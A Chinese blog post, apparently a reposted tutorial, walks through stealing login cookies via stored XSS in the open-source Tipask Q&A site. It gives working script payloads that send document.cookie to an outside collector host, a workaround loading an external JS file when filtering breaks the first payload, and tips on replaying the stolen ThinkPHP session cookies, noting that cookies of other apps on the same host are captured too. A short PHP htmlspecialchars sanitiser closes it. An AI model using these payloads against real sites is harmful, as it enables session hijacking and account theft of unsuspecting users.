zoukankan      html  css  js  c++  java
  • 【web安全】第一弹:利用xss注入获取cookie

    首先一定要先来吐槽一下tipask系统。这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御。

    言归正传:

    【准备1】 cookie接收服务器。 平时喜欢用sae,所以在sae上写了一个get方法传值的页面,获取到的数据存储进数据库。

    数据表结构很简单

    其中time,ip,pre_url都可以没有。

    页面代码如下

    实际应用像下面这样:

    访问链接:http://xxx.sinaapp.com/?cookie=xxxx;

    xxxx的内容就会自动存入数据库。

    【准备2】利用xss漏洞截取用户的cookie

    输入内容

    <script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie</script>

    提交后发现没反应,审查元素:

    <script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie</script>

    发现代码被浏览器处理过了:把加号给过滤掉了。怎么处理呢?

    答案是:引入外部js文件!!

    还是在刚才的文本框输入: 

    <script src='http://xxx.sinaapp.com/js/test.js'></script>

    js文件内容:window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;

    【Go!】

    当用户访问被XSS注入的页面时,会自动引入test.js文件,这个文件里包含的js语句,会读取页面的cookie,然后访问一个get传值的页面,cookie就会自动存储到数据库中了~

    【获得cookie之后】

    win7下的cookie存储方式比较特别,xxxx.txt,根本分不清哪个是哪个,于是楼主给chrome浏览器装了个插件,EditThisCookie,可以在浏览器上对cookie进行读取,删除,修改操作。

    tipask用了thinkphp框架,ThinkPHP保存cookie时有两个关键值,tp_auth和tp_sid,更新了这两个值就能获取登录状态了。但是,咳咳,ThinkPHP框架把tp_auth的值设置了和IP绑定,所以即使你拿到cookie,如果cookie不匹配,也P用不中~但是,咳咳咳,此处获取的cookie可不只tipask系统的cookie,而是tipask系统所在IP地址所有应用的cookie..比如说,xxx.xxx.edu.cn对应是dz论坛,xxx.xxx.edu.cn/zhidao对应的tipask,那么获取的cookie既有tipask的,也有dz论坛的。所以~

    【xss注入初步解决方案】

    1. 防止xss注入的原理,就是对用户输入的富文本进行html encode

    PHP环境下处理函数如下:

    function re_xss($list)
    {
        if(is_array($list))
            foreach ($list as $key => $value) 
            {
                foreach ($value as $keys => $values) 
                {
                    $list[$key][$keys]=htmlspecialchars($values);
                }
            }
        else
            $list=htmlspecialchars($list);
        return $list;
    }

    2. 防止cookie被窃取的原理,就是像ThinkPHP,把cookie和IP地址绑定,或者和其他唯一值绑定。

  • 相关阅读:
    Oracle 添加主键和索引
    Oracle中查询主键、外键、sequence、表基本信息等
    Spring工作原理
    Ehcache 缓存使用
    socket编程-java
    oracle触发器详解
    单例模式的几种写法
    [LeetCode] 412. Fizz Buzz 嘶嘶嗡嗡
    LeetCode Top Interview Questions
    [LeetCode] 131. Palindrome Partitioning 回文分割
  • 原文地址:https://www.cnblogs.com/kuoaidebb/p/3674211.html
Copyright © 2011-2022 走看看